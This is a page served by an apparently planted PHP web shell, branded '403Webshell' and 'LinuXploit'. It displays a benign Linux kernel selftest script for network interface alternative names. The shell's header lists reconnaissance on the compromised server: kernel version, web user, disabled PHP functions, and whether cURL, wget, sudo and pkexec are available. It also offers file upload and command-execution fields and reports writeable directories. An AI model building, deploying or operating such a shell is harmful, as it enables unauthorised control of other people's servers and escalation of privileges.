403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.170.17
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/linux-headers-5.15.0-142/tools/testing/selftests/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-5.15.0-142/tools/testing/selftests/net/altnames.sh
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0

lib_dir=$(dirname $0)/forwarding

ALL_TESTS="altnames_test"
NUM_NETIFS=0
source $lib_dir/lib.sh

DUMMY_DEV=dummytest
SHORT_NAME=shortname
LONG_NAME=someveryveryveryveryveryverylongname

altnames_test()
{
	RET=0
	local output
	local name

	ip link property add $DUMMY_DEV altname $SHORT_NAME
	check_err $? "Failed to add short alternative name"

	output=$(ip -j -p link show $SHORT_NAME)
	check_err $? "Failed to do link show with short alternative name"

	name=$(echo $output | jq -e -r ".[0].altnames[0]")
	check_err $? "Failed to get short alternative name from link show JSON"

	[ "$name" == "$SHORT_NAME" ]
	check_err $? "Got unexpected short alternative name from link show JSON"

	ip -j -p link show $DUMMY_DEV &>/dev/null
	check_err $? "Failed to do link show with original name"

	ip link property add $DUMMY_DEV altname $LONG_NAME
	check_err $? "Failed to add long alternative name"

	output=$(ip -j -p link show $LONG_NAME)
	check_err $? "Failed to do link show with long alternative name"

	name=$(echo $output | jq -e -r ".[0].altnames[1]")
	check_err $? "Failed to get long alternative name from link show JSON"

	[ "$name" == "$LONG_NAME" ]
	check_err $? "Got unexpected long alternative name from link show JSON"

	ip link property del $DUMMY_DEV altname $SHORT_NAME
	check_err $? "Failed to delete short alternative name"

	ip -j -p link show $SHORT_NAME &>/dev/null
	check_fail $? "Unexpected success while trying to do link show with deleted short alternative name"

	# long name is left there on purpose to be removed alongside the device

	log_test "altnames test"
}

setup_prepare()
{
	ip link add name $DUMMY_DEV type dummy
}

cleanup()
{
	pre_cleanup
	ip link del name $DUMMY_DEV
}

trap cleanup EXIT

setup_prepare

tests_run

exit $EXIT_STATUS

Youez - 2016 - github.com/yon3zu
LinuXploit